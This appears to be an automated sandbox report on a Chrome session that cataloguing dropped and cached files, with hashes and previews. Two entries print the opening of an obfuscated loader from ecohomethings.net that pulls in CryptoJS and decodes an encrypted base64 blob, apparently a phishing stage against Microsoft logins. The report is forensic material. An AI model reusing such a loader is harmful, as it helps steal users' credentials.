Preview:	L..................F.@.. ...$+.,....J.E..a......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V(ZM............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 15:18:24 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9959551304515055
Encrypted:	false
SSDEEP:	48:87HdtAjTWM70AHxidAKZdA1VehBiZUk1W1qehWy+C:877AjixT92y
MD5:	6CED5B1AB8029F76A8A10E5C96EBBDB9
SHA1:	240BA229BE34FFF236F09B1DD44679AD7A58FAAF
SHA-256:	7902294CB9BB2CCA8376FB79C623A9D32797165EBBA90222822F9CA04DCD5B2E
SHA-512:	6596B5CD9B443FEABFD5B65DCA35645986F4D90EF19B8910449DF874212CA55DCFCDAA500F9CB02FF8B3E756E4883CB7EE926748B8217AEDC988ED668EDE06C8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....X.R..a......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V(ZM............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 15:18:24 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.009458442462235
Encrypted:	false
SSDEEP:	48:8KHdtAjTWM70AHxidAKZdA1duT6ehOuTbbiZUk5OjqehOuTboy+yT+:8K7AjixPTTTbxWOvTboy7T
MD5:	A389A5A7FBB2E822E3D96CF1E38A347D
SHA1:	D2BCE3E7120BD42E05A0BE4F4B630481E7557A30
SHA-256:	39440C324DFBF88950D7DA936CBDBB182DABB04A551831E539D21D21C3CCB5D4
SHA-512:	18FBF3276AC22658FB41D0BFADC1CC1A43B2F76C3F31F8786F3CC3243536DA68324D14B71826EC1D90039B737DCB2133D32C0C8D7AA841900F4558DC992CA9A2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......:..a......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I(Z=.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(ZK.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V(ZK.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V(ZK............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V(ZM............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............C.;.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 450755
Category:	downloaded
Size (bytes):	122515
Entropy (8bit):	7.997419459076181
Encrypted:	true
SSDEEP:	3072:1L4xVJNv/cJPu5OEjvuUQIq40zDH227PURbj:1kbGugELatzL7PUlj
MD5:	AC9A6ED508328361A4C9530325A94076
SHA1:	ADC81FAE51EB66A220539EEEDECEB96CFF390BBB
SHA-256:	BA93F4A83BB77D32AF9AFB9B014BFD13FD497E3D8F15AF016C782ABD1D34037B
SHA-512:	066D92389A7EFB3A80FCFC86696EE6AE008259570F73814303A9ACC1690F881DF2034A16D5C7970BA703648CA79C2E7CBAA2CAD98C28879ADD44AB06620305B4
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q..g..p1.:1t.}..y..}8...3...8....b.=(..3..d[..Os......%....Z...G.......x...2.,..RP..+..O. _....n.;=.?.....w../au.I.p...U\|;......WM.f?...9.>8..9.....S../;._..un...].:_..e..V:.....@..[..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........B.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^........N1.F....@..W%y.....t...Q....Y.5.$.O..x@.l.4.a.b.f..3.2.B...DL}4Y.:.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5..*....D.(9...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1317), with CRLF line terminators
Category:	downloaded
Size (bytes):	1957
Entropy (8bit):	5.945705839374056
Encrypted:	false
SSDEEP:	48:s7bsGnFKj0P2NdwrttfmYFsLVXW5A5TEuIS+e:stn40P2rwrLmYiV/JEuIO
MD5:	7EEE440897AB9D1906E753A242BA391C
SHA1:	B921D24F91CBBF9DFFC87BB3420E7FA13083E313
SHA-256:	7FE5FCDF64A67AFD8E25F663FAF50A7411CDAAE4CD836418830DAE98BE37DF61
SHA-512:	39C9D2AF09BED70EBF2026592EC96B1F7AD1226897CD33F7BA19B2104937744F7AC2BFECCD84BDFE78DEC0E13C1DF7A31345DDF981F6E5DB784791FFC40B5C4C
Malicious:	false
URL:	https://ecohomethings.net/res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock
Preview:	var SxfOcfGEPiBSRsHI = document.createElement("script");..SxfOcfGEPiBSRsHI.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(SxfOcfGEPiBSRsHI);..SxfOcfGEPiBSRsHI.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiTmI1SytBU2NQRXpOUU5KVlJcLzJxZVwvWCtDd2tGN3NJaXhybURXUDdIRXZsdGVFbVJrNWpWS1VEVTdCNWd2Y01BaCtNcGZPQlwvUmo3NXNPbHNmalBwRUhEUEJjZ2Y2dDZIQUF5SVpkbFd4ZW9Lc1hySWhpOWdvZ1Nqblozdis1QmlPYjREV3dIQXRlejBGUjROVlVLT0FQZWhHczhXa1J2SFdaMGxwTmFBSEszV2xKSzBtek5CTHluRUdQNk9ZK3FVMWVpWmJKZE9mWmNuamo3UTBISXpsN2hWMlwvRGd0K2NjZXZjTExUdWdyRGZ4ZW1FWUdLcG9mdzlFSHA1a28xcFZ5UFwvZDY3dWUrbnpLUDBJUDlIVzl4TTY2eWJQaFwvMFFpcTZlV0w4RzlUSjNWVklWTVNnZEhMejFucjhFcCtVNWVjTTliUThYVndZRTlYazJnZ0RNb25ybmYrcWRhSysrakxrZGxRaVRKNXVZR0FyeVRoNThiYThuUGF2UTEzUnZtV012V21nVHJydHRFc3FIMG80YzdRbWdud3VVTzlTZk03RmRacmVobG4yQ2pmNE1BYnh4TWpnSGE1eUNrXC80UEc0SVNjR3VHcERNNjZCNzNDUGQ4aElWMWRnREhKQnBjZlVreVQ4UHdiZWh3OFlLQjJvU2x5dURKaEVBR2tlWU9NYytNaDJETEVCel

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.218997042938778
Encrypted:	false
SSDEEP:	3:iuh72iczBra82yFsJFouMo+q6mgqWd6Nk:NciczBdTFsJFoM+q62Nk
MD5:	9872BE83FA60DA999B65A3BD481731D3
SHA1:	B59A8688C6A0D5311C6410A0D91537084E148F2D
SHA-256:	5DEE42A8D755847C0813D4E5F033F51197B20DD3C6C2EE4FBE31FD27B2F593D3
SHA-512:	53E947C87386ECF19E3B36E3F292A9757911F0F8B02FE36DDFC0DD74A3C784D97B15066AB4895EA694F66792A8C7CF525F59A03868FF5D5F0C3B5203D34C5F7D
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkYKDQ3RW1FSGgQIVhgCIAEKNQ1Xevf9GgQISxgCKigIClIkChpAISMuKiQtXyslJj8vPV4pKCw6O348JyJcXRABGP////8P

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1317), with CRLF line terminators
Category:	dropped
Size (bytes):	1957
Entropy (8bit):	5.96395053152123
Encrypted:	false
SSDEEP:	48:A7bcBNQjN0zQKlkmzi/3ozYS1NrB2BliSjFkfnMuIPcyx:AGQjCkc41qNl2BlpBkfnMuIPxx
MD5:	64D0C0B4681522D4C0D5D1267EDCC83C
SHA1:	FDB33CB6CF61ED9D30812A4257559947C352B25D
SHA-256:	1EC95CEDB9ACB28FBDB182681489D693955E3D0F9386EB254F65E835BA3AD35E
SHA-512:	DEEE107FB1A12A2B88843777434C1F5B4AF5ABB8691DED87353CBD19B98CEF42EE0976D0093F4AFBEC88966C3278E69476B7027673F4D442B1D5727E17837720
Malicious:	false
Preview:	var CupKfafNVuZTWHvy = document.createElement("script");..CupKfafNVuZTWHvy.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(CupKfafNVuZTWHvy);..CupKfafNVuZTWHvy.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiMFMwZ0I3eFNtcmp0bHpURFlXazE2YUtUKzZuMFppYVZTWHFjYVFJcjA5Q1wvK1wvMkRENjJuXC8xZXBqSThpY29WbzZDazZMdzMwOFVTNzFhY2dHR0p2VXZ0bUZSUmtrTzF0MlNPU3pncnZuRzZuMHZxUCt6QnpuT3AyWUdCTVJGcmFtWEpsOExHRkFKVSs1aWg4dlJjZDh5WWVXMkpHRnB2ZlJBUWs0R2JWZmFJbmt4d1pYMU5kaDcrOW5hd1JZUVhlVlFydmhRcTBcL3dqM1dCZFd5TFZjR0dHR3BYaGhkRTVEbGZFeUdZcWFiUHRIa1ZERWpQZDlLQ0prdVRhWVRFbE15bUt3UlZcL0ppRVgwQ0FreklMSm5IdzhWODJRYlpcL2hnQWx6ZzBvM2NJb2VIRWIzcFNuZDhwMmdpbDY0aEJFVUoyYXpOKzNcL2J4YjdOd1ZYZmtVWExlV0lOaUdrNHNmZ2Y0c0k4ZmxEV0lsdUZlM0pCSGhpRDRSdUJiVFBWU1ZFM3UzcW1iXC9IZ1ZXdGxrK2dpS0ZnQVVHeFJMRUhabk1YYzdqZHBPR0ZYRlpMT1VOc2VTcWR2WkNKTjFiTmxlMHVWV3RuTkNwcTJ2MndSVXpZUnNiTERyUldJVTk3WWFvMjhqQVpzZnpTUFhHTzRmUzFOeEFpVFNGbXRVanErRGc0V0lNbUNwQ1M3SW

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 450755
Category:	dropped
Size (bytes):	122515
Entropy (8bit):	7.997419459076181
Encrypted:	true
SSDEEP:	3072:1L4xVJNv/cJPu5OEjvuUQIq40zDH227PURbj:1kbGugELatzL7PUlj
MD5:	AC9A6ED508328361A4C9530325A94076
SHA1:	ADC81FAE51EB66A220539EEEDECEB96CFF390BBB
SHA-256:	BA93F4A83BB77D32AF9AFB9B014BFD13FD497E3D8F15AF016C782ABD1D34037B
SHA-512:	066D92389A7EFB3A80FCFC86696EE6AE008259570F73814303A9ACC1690F881DF2034A16D5C7970BA703648CA79C2E7CBAA2CAD98C28879ADD44AB06620305B4
Malicious:	false
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q..g..p1.:1t.}..y..}8...3...8....b.=(..3..d[..Os......%....Z...G.......x...2.,..RP..+..O. _....n.;=.?.....w../au.I.p...U\|;......WM.f?...9.>8..9.....S../;._..un...].:_..e..V:.....@..[..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........B.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^........N1.F....@..W%y.....t...Q....Y.5.$.O..x@.l.4.a.b.f..3.2.B...DL}4Y.:.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5..*....D.(9...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	downloaded
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
